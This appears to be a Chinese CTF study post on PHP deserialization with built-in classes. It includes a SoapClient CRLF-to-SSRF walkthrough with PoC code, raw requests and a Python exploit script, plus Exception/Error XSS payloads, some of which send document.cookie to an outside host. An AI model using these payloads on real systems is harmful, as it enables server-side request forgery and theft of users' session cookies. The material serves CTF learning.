2.huwangbei2018_easy_laravel(https://github.com/sco4x0/huwangbei2018_easy_laravel)
3.DiscuzX 3.4 Phar反序列化漏洞
拓展
SoapClient + 反序列化 => SSRF
SoapClient
类搭配CRLF
注入可以实现SSRF
, 在本地生成payload
的时候,需要修改php.ini
中的 ;extension soap
将分号删掉即可。 因为SoapClient
类会调用 __call
方法,当执行一个不存在的方法时,被调用,从而实现SSRF
。
例题-14
LCTF-2018-bestphp's-revenge传闻这是LCTF的web签到题(真·无时无刻不在提醒我是个Five)
题目牵涉以下知识点:(不单独拎出来了,在题目中捎带了)
1、SoapClient触发反序列化导致SSRF
2、serialize_handler处理session方式不同导致session注入
3、CRLF漏洞
开局送源码系列
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
访问了一下flag.php
得到如下回复
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
佬佬们说很容易想到f
传入extract
覆盖b
为我们想要的函数,问题是后面的session
利用。
SoapClient
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口;
其采用HTTP作为底层通讯协议,XML作为数据传送的格式;
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
如果我们能通过反序列化调用SoapClient
向flag.php
发送请求,那么就可以实现SSRF
那我们就要知道:
1.在哪儿触发反序列化
2.如何控制反序列化的内容
这里需要知道call_user_func()
函数如果传入的参数是array
类型的话,会将数组的成员当做类名和方法,例如本题中可以先用extract()
将b
覆盖成call_user_func()
,reset($_SESSION)
就是$_SESSION['name']
,我们可以传入name=SoapClient
,那么最后call_user_func($b, $a)
就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
,即call_user_func(SoapClient->welcome_to_the_lctf2018)
,由于SoapClient
类中没有welcome_to_the_lctf2018
这个方法,就会调用魔术方法__call()
从而发送请求。
SoapClient
的内容怎么控制呢,贴上大佬的poc
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaa\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
此处又涉及到了CRLF ,根据佬佬的理解是因为http
请求遇到两个\r\n
即%0d%0a
,会将前半部分当做头部解析,而将剩下的部分当做体,那么如果头部可控,就可以注入CRLF
实现修改http
请求包。
这个poc
就是利用CRLF
伪造请求去访问flag.php
并将结果保存在cookie为PHPSESSID=bggb2n63rjle6d2fassrdtb7t0
的session
中。 最后,就是如何让php
反序列化结果可控。这里涉及到php
反序列化的机制(参考前半部分)。
开始的call_user_func
还没用,可以构造session_start(['serialize_handler'=>'php_serialize'])
达到注入的效果。
解题过程
先注入poc
得到的session
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22Tr0jAn%0D%0ACookie%3A+PHPSESSID%aaaaaaaaaaaaaaaaaaaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22Tr0jAn%0D%0ACookie%3A+PHPSESSID%aaaaaaaaaaaaaaaaaaaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
Cookie: PHPSESSID:aaaaaaaaaaaaaaaaaaaaaaaaa
......
serialize_handler=php_serialize
得到回显
array(1) {
["name"]=>
string(196) "|O:10:"SoapClient":4:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:11:"_user_agent";s:54:"Tr0jAn
Cookie: PHPSESSID:aaaaaaaaaaaaaaaaaaaaaaaaa
";s:13:"_soap_version";i:1;}"
}
触发反序列化使SoapClient发送请求
POST /?f=extract&name=SoapClient HTTP/1.1
Cookie: PHPSESSID:aaaaaaaaaaaaaaaaaaaaaaaaa
......
b=call_user_func
得到回显
array(2) {
["a:1:{s:4:"name";s:197:""]=>
object(SoapClient)#1 (4) {
["uri"]=>
string(3) "123"
["location"]=>
string(25) "http://127.0.0.1/flag.php"
["_user_agent"]=>
string(54) "Tr0jAn
Cookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaa
"
["_soap_version"]=>
int(1)
}
["name"]=>
string(10) "SoapClient"
}
携带poc
中的cookie
访问即可得到flag
array(3) {
["name"]=>
string(10) "SoapClient"
["flag"]=>
string(15) "flag{test_flag}"
}
整体来说没看懂...回头再仔细研究!
附上佬佬写的自动化python poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : Eustiar
import requests
import re
url = "http://192.168.32.138:9999/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data) # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)
输出如下:
array(1) {
["flag"]=>
string(15) "flag{test_flag}"
}
Exception + 反序列化 => XSS
php原生类中的Error
和Exception
中内置了__toString()
函数,可能造成XSS
漏洞。
Error
适用于php7
, Error
类就是php的一个内置类用于自动自定义一个Error
,在php7
的环境下可能会造成一个xss
漏洞,因为它内置有一个__toString()
的方法。 如果碰上直接使用 echo 一个反序列化以后的类
的写法,则可以考虑该漏洞
<?php
//测试代码+开启报错
$a = unserialize($_GET['Tr0jAn']);
echo $a;
?>
<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
?>
//得:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
访问?Tr0jAn={payload}
即可触发弹窗
Exception
适用于php5、7
版本 ,利用的方式和原理和Error 类一模一样。
<?php
//测试代码+开启报错
$a = unserialize($_GET['Tr0jAn']);
echo $a;
?>
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
echo unserialize($c);
?>
//得:O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
访问?Tr0jAn={payload}
即可触发弹窗
例题-15
BJDCTF-2nd-xss之光
这次不开局送源码了,玩儿的比较高级,是.git泄露,githack
获得index.php
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
只有反序列化,但没有给出类,无法构造pop
链,所以只能内置类帮忙了,因为反序列化结果有echo
输出,所以考虑有__toString()
函数的类进行构造,常用的有Error(适用于php7)
和Exception(适用于php5、7)
,原题环境是php5
,所以使用Exception
,题目是XSS
,所以只要触发了window.open()
即可。
y1ng
大佬给出了三种触发生成payload
的方式
<?php
$y1ng = new Exception("<script>window.open('http://a0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($y1ng));
?>
//window.open 是 javaScript 打开新窗口的方法
也可以用window.location.href='url'来实现恶意跳转
<?php
$a = new Exception("<script>window.location.href='http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+document.cookie</script>");
echo urlencode(serialize($a));
?>
<?php
//或者用alert(document.cookie)直接弹出cookie,但此题不行,可能开了httponly(见附录)。
$y1ng = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($y1ng));
?>
得到payload
yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fa0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
执行完这个get
传参后,flag就藏在cookie
中。
总结
php的反序列化拖拖拉拉两个月了快,整体的脉络和分类思路来自这儿,其中还用到了很多佬佬的帖子,如有雷同就是我抄的,希望各位佬佬不要打我。
总结下来就是一句话,认真细心耐心,掌握各个参数的作用和一些常用的手法及漏洞触发方式,在后续代码审计中也会有至关重要的作用,先给自己挖个坑JAVA的反序列化漏洞,应该大同小异,等下学期学完JAVA把它的反序列化也搞一搞。
真好呢